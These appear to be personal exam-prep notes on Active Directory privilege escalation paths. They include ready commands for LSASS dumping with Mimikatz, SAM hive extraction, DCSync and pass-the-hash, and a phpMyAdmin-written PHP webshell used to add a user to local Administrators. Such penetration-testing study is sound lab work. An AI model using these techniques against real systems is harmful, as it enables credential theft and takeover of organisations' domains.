AD — Privilege Escalation Vectors

1. SeDebugPrivilege → LSASS Dump → Administrator Credential Extraction → Lateral Movement to Internal

Seen in: Exam C (External)
OS: Windows (domain-joined workstation)
Starting user: low-priv domain user (assumed breach)

Discovery Steps

1. whoami /priv → SeDebugPrivilege: Enabled
2. SeDebugPrivilege allows attaching a debugger to any process, including LSASS

Exploitation Steps

3. Dump LSASS with Mimikatz:

   privilege::debug
   sekurlsa::logonpasswords
   

   Alternatively: procdump.exe -ma lsass.exe lsass.dmp → transfer dump and parse offline with pypykatz or Mimikatz
4. Extract NTLM hash or cleartext password for a higher-privileged account (local admin, cached domain admin, or service account)
5. Use extracted credentials to pivot to Internal: nxc smb $INTERNAL -u $USER -p $PASS or nxc smb $INTERNAL -u $USER -H $HASH

Notes

• SeDebugPrivilege should not be assigned to standard domain users — immediate red flag when seen on whoami /priv
• LSASS dump may trigger AV/EDR; in the exam environment this was not observed as an issue
• Cleartext credentials may be present if WDigest authentication is enabled on the host

2. SeBackupPrivilege → SAM/SYSTEM Hive Backup → Local Hash Dump → Credential Reuse on Internal

Seen in: Exam B (External)
OS: Windows (domain-joined workstation)
Starting user: low-priv domain user (assumed breach)

Discovery Steps

1. whoami /priv → SeBackupPrivilege: Enabled
2. SeBackupPrivilege allows reading any file bypassing ACL (as if holding backup rights)

Exploitation Steps

3. Save registry hives using SeBackupPrivilege:

   reg save HKLM\SAM C:\Temp\sam.hive
   reg save HKLM\SYSTEM C:\Temp\system.hive
   

4. Download hive files to Kali (via evil-winrm download command or SMB staging)
5. impacket-secretsdump -sam sam.hive -system system.hive LOCAL → dumps local user NTLM hashes
6. Pass-the-hash or crack hashes offline → obtain local administrator credentials
7. Use credentials to access Internal: nxc smb $INTERNAL -u Administrator -H $HASH

Notes

• reg save is the cleanest approach — no additional tooling required beyond what ships with Windows
• If the local admin hash is reused across machines (common in OSCP labs), lateral movement follows immediately
• SeBackupPrivilege can also directly copy sensitive files (NTDS.dit, SYSTEM hive on a DC if accessed directly)

3. Exposed SMB Backup Files on Internal → secretsdump → High-Privilege AD Account → DCSync → Domain Admin (DC)

Seen in: Exam C (Internal → DC)
OS: Windows Server (domain member → Domain Controller)
Starting user: credential pivot from External

Discovery Steps

1. Access Internal via SMB using credentials from External dump
2. nxc smb $INTERNAL -u $USER -p $PASS --shares → enumerate shares; identify non-standard share with backup files
3. smbclient //$INTERNAL/$SHARE -U $USER%$PASS → browse share; find SAM/SYSTEM hive backups or NTDS artifacts

Exploitation Steps

4. Download backup files from the share
5. impacket-secretsdump -sam sam.hive -system system.hive LOCAL → dumps credential material from backup
6. Identify an account with excessive AD permissions (DCSync rights, Domain Admins membership, or WriteDACL on domain object)
7. DCSync from Kali: impacket-secretsdump -just-dc-ntlm oscp.exam/$USER:$PASS@$DC_IP → dumps all domain NTLM hashes including Administrator
8. Pass-the-hash to DC: evil-winrm -i $DC_IP -u Administrator -H $HASH → Domain Admin shell
9. Retrieve proof.txt from C:\Users\Administrator\Desktop\

Notes

• DCSync is entirely remote — no interactive access to the DC is required, only a sufficiently privileged account credential
• The privileged account was surfaced through secretsdump output from Internal's backup files
• Excessive AD permissions was the consistent final-link misconfiguration; could also verify with BloodHound if time permits

See Also

4. XAMPP/phpMyAdmin on Port 80 → PHP Webshell → Local Admin Group Add → Admin Shell

Seen in: Exam G (External)
OS: Windows (domain-joined workstation, XAMPP stack running)
Starting user: low-priv domain user (assumed breach)

Discovery Steps

1. whoami /priv → nothing exploitable (no SeDebugPrivilege / SeBackupPrivilege in this instance)
2. nmap shows port 80 open on WS26 alongside 135, 139, 443, 445, 3389
3. gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt → discovers /phpmyadmin
4. Browse to http://$IP/phpmyadmin → phpMyAdmin login page (XAMPP default install)

Exploitation Steps

5. Log in with assumed breach credentials or test blank MySQL root password (XAMPP default)
6. In phpMyAdmin, run SQL to write a PHP webshell to the XAMPP webroot:

   SELECT '<?php system($_GET["cmd"]); ?>'
   INTO OUTFILE 'C:/xampp/htdocs/shell.php'
   

7. Browse to http://$IP/shell.php?cmd=whoami → confirms RCE
8. Use webshell to add current user to local Administrators:

   http://$IP/shell.php?cmd=net+localgroup+Administrators+r.andrews+/add
   

9. Re-authenticate via evil-winrm or RDP — now running as local admin
10. Retrieve proof.txt from C:\Users\Administrator\Desktop\

Notes

• This path applies when whoami /priv shows no useful token privileges — phpMyAdmin is the fallback
• XAMPP installs MySQL as root with no password by default; always test blank password first
• SELECT INTO OUTFILE requires MySQL FILE privilege and webroot write access — both default on XAMPP
• Check phpMyAdmin on port 80 and 8080

• AD/Initial Foothold Vectors
• AD/Tools Used
• AD/Summary
• Standalones/PrivEsc Vectors